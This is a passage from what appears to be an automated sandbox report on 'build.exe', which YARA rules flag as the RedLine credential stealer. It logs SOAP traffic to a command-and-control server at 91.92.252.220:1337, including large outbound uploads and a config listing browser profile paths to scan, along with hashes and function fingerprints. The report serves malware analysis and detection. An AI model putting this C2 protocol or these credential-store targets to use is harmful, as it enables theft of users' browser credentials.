Apr 24, 2024 03:01:19.220530987 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220658064 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220716000 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220758915 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220834017 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220848083 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220880985 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220954895 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220969915 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.220987082 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221153975 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221168041 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221240044 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221287966 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221384048 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221463919 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221478939 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221729040 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221771955 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221786022 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.221790075 CEST	49703	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.221905947 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222091913 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222106934 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222121954 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222167969 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222210884 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222224951 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222336054 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222351074 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222410917 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222496033 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222564936 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222579002 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222636938 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222681999 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222697973 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.222712994 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.504410982 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.504431963 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.504462957 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.504976988 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505017042 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505206108 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505223036 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505724907 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505740881 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.505800962 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.506165981 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.506370068 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.506994963 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.507123947 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.507405996 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.507539034 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.507760048 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.556056023 CEST	1337	49703	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:19.580478907 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:19.580554008 CEST	49703	1337	192.168.2.7	91.92.252.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 03:01:10.190972090 CEST	65511	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 03:01:10.190972090 CEST	192.168.2.7	1.1.1.1	0x1d36	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 03:01:10.358120918 CEST	1.1.1.1	192.168.2.7	0x1d36	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

91.92.252.220:1337

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	91.92.252.220	1337	4040	C:\Users\user\Desktop\build.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 03:01:03.833975077 CEST	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 91.92.252.220:1337 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 24, 2024 03:01:04.134702921 CEST	25	IN	HTTP/1.1 100 Continue
Apr 24, 2024 03:01:04.434807062 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 24 Apr 2024 01:01:04 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 24, 2024 03:01:09.501708984 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 91.92.252.220:1337 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 24, 2024 03:01:09.800924063 CEST	25	IN	HTTP/1.1 100 Continue
Apr 24, 2024 03:01:10.145689964 CEST	1289	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 24 Apr 2024 01:01:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Data</b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	91.92.252.220	1337	4040	C:\Users\user\Desktop\build.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 03:01:13.699204922 CEST	220	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 91.92.252.220:1337 Content-Length: 974207 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 24, 2024 03:01:14.067449093 CEST	25	IN	HTTP/1.1 100 Continue
Apr 24, 2024 03:01:16.322386026 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 24 Apr 2024 01:01:16 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	91.92.252.220	1337	4040	C:\Users\user\Desktop\build.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 03:01:16.813298941 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 91.92.252.220:1337 Content-Length: 974199 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 24, 2024 03:01:17.112454891 CEST	25	IN	HTTP/1.1 100 Continue
Apr 24, 2024 03:01:19.556056023 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 24 Apr 2024 01:01:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	03:01:00
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\build.exe"
Imagebase:	0xb80000
File size:	97'792 bytes
MD5 hash:	60E00124F9D54B2D423F02DC81B57127
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:01:00
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	34
Total number of Limit Nodes:	1

Executed Functions

Function 067B9620 Relevance: 16.2, Strings: 12, Instructions: 1190COMMON

Download Yara Rule

Strings

cq, xrefs: 067B9FD4
$q, xrefs: 067B9CAB
$q, xrefs: 067BA643
4cq, xrefs: 067B9FB4
Hq, xrefs: 067BA3DA
(_q, xrefs: 067BA0D6
4cq, xrefs: 067B9F9A
(_q, xrefs: 067BA0BC
cq, xrefs: 067B9FEE
Nvq, xrefs: 067B9928
$q, xrefs: 067B9CC5
,q, xrefs: 067BA23F

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID: (_q$(_q$,q$4cq$4cq$Hq$Nvq$$q$$q$$q$cq$cq
API String ID: 0-2478870628
Opcode ID: 13ee758983203f78f123927356ddaff52e91c4316445ca745863546844b2c1aa
Instruction ID: 745f91179829bc2f082098d008a250bb7ae0487473b8b94d4ffd3e43ca89052a
Opcode Fuzzy Hash: 13ee758983203f78f123927356ddaff52e91c4316445ca745863546844b2c1aa
Instruction Fuzzy Hash: D882C530F002148FDBA9E7BA945037DAAE2BFCD601B24586ED55ADB354EE31CC4287D6

Uniqueness

Uniqueness Score: -1.00%

Function 067BDD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 067BDEF6
$q, xrefs: 067BDD58
$q, xrefs: 067BDDB5
4|q, xrefs: 067BE2ED
$q, xrefs: 067BDEE7
$q, xrefs: 067BDDA5

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID: 4'q$4|q$$q$$q$$q$$q
API String ID: 0-2145022202
Opcode ID: b30d87f458a14891217c4111c311f29821d2930ebf8e899b03d2dcb2ce121caa
Instruction ID: 1535b2e43c86c8674de76e7609463c887deb5e497bf64466c577250636936c3e
Opcode Fuzzy Hash: b30d87f458a14891217c4111c311f29821d2930ebf8e899b03d2dcb2ce121caa
Instruction Fuzzy Hash: 8E022C34B002198FDB68DF69C854BAEBBF6BF89240F249069E419DB355DB349D42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 067B3320 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 067B3701
Hq, xrefs: 067B37C0
Hq, xrefs: 067B36D0
Hq, xrefs: 067B3779
Hq, xrefs: 067B3732

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq$Hq$Hq
API String ID: 0-3799487529
Opcode ID: e01707a8aba7b967f4eee89089c803262efbb0a245c8b91a1c6ed28f9af74a83
Instruction ID: e139b0a087315788302b7b7405936c0ae1b916dad06657e914b7fc011bfdad89
Opcode Fuzzy Hash: e01707a8aba7b967f4eee89089c803262efbb0a245c8b91a1c6ed28f9af74a83
Instruction Fuzzy Hash: 4502AE31E14256CFCB59CF74C4502FDFBB2EF85314F28866AD416AB241EB35AA85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 067BD108 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

Hq, xrefs: 067BD4FB

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID: Hq
API String ID: 0-1594803414
Opcode ID: 33302e6e7692bb50e8d5d4a7ab7428419362e4ec2be854c9068430c263be3840
Instruction ID: 4717c801ddde8c45a2613d800aba1a96e9ac25ff1d8531878098dfb62a3f7b3e
Opcode Fuzzy Hash: 33302e6e7692bb50e8d5d4a7ab7428419362e4ec2be854c9068430c263be3840
Instruction Fuzzy Hash: F0F1E370A042668FCB65CF75C4502FDFBF2AF86300B19C666E855EB241E774DA85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013BE7B0 Relevance: .9, Instructions: 929COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1424096954.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13b0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f433e2048a5f6b501ae8af892b3bed23a193b7ad7a1c78d54a293c427b35761d
Instruction ID: 1755c508893ea786cfe0da2cc11bf79c492caad10fbde6524d3861ce53dafa09
Opcode Fuzzy Hash: f433e2048a5f6b501ae8af892b3bed23a193b7ad7a1c78d54a293c427b35761d
Instruction Fuzzy Hash: E0820B74B002188FDB15DF68D899BADBBB6BF88305F1084A9E50A9B3A5DF309D41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 067B4468 Relevance: .8, Instructions: 804COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da9b3c778f443af23f6e15f8b31e98234e8db9347f5fbd8bad1d85591523d82
Instruction ID: 369e36adb5e95b52cee36bf72409002510dcb3a1ad5ab0744b6b18c7416fc35e
Opcode Fuzzy Hash: 5da9b3c778f443af23f6e15f8b31e98234e8db9347f5fbd8bad1d85591523d82
Instruction Fuzzy Hash: 6F824C38A14216CFDBA4DF28D944BBA77F2BB48304F5141A8D9069B76BEB30D845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 067B1210 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c38a173fe8dece7aaf960e2958c95394befa7b9757839d5daa4297ed891230
Instruction ID: 0d078a1decef4f735c7d32cbe8361c9fca4d8d7749a1188a9268c7a975b1ee69
Opcode Fuzzy Hash: 91c38a173fe8dece7aaf960e2958c95394befa7b9757839d5daa4297ed891230
Instruction Fuzzy Hash: 36F110B4F003099FDB58DBA4D894BAEBB76FF99241F504429E415EB395CB30AC02DB15

Uniqueness

Uniqueness Score: -1.00%

Function 067BF3D3 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfbbe7ddd6223902c51a37a6ea30b0f5dd58b3d9f3eaed5670156d760a94ed6b
Instruction ID: ae524c6ab6ca9a0bf889be12ec93df92e34d997a5938a30167ff7c634b6bf6d9
Opcode Fuzzy Hash: cfbbe7ddd6223902c51a37a6ea30b0f5dd58b3d9f3eaed5670156d760a94ed6b
Instruction Fuzzy Hash: D7A14F74A002149FDB99EB69D844B6EFBF6EFCC200F14C169E40A9B359DF349D028B94

Uniqueness

Uniqueness Score: -1.00%

Function 067BF3E0 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1432157648.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67b0000_build.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e71ead71d3eb8af38ed8ea83069b8c8009a68d8a146d4540083ddf85ee63d3
Instruction ID: 1a16afec85ab80482bcb51bb83c7c34c12dd1de261d2502ff1614874b9c90a93
Opcode Fuzzy Hash: 67e71ead71d3eb8af38ed8ea83069b8c8009a68d8a146d4540083ddf85ee63d3
Instruction Fuzzy Hash: 3EA15E74A002149FDB99EB69D844B6EFBF6EFCC200F14C169E40A9B359DF349C028B94

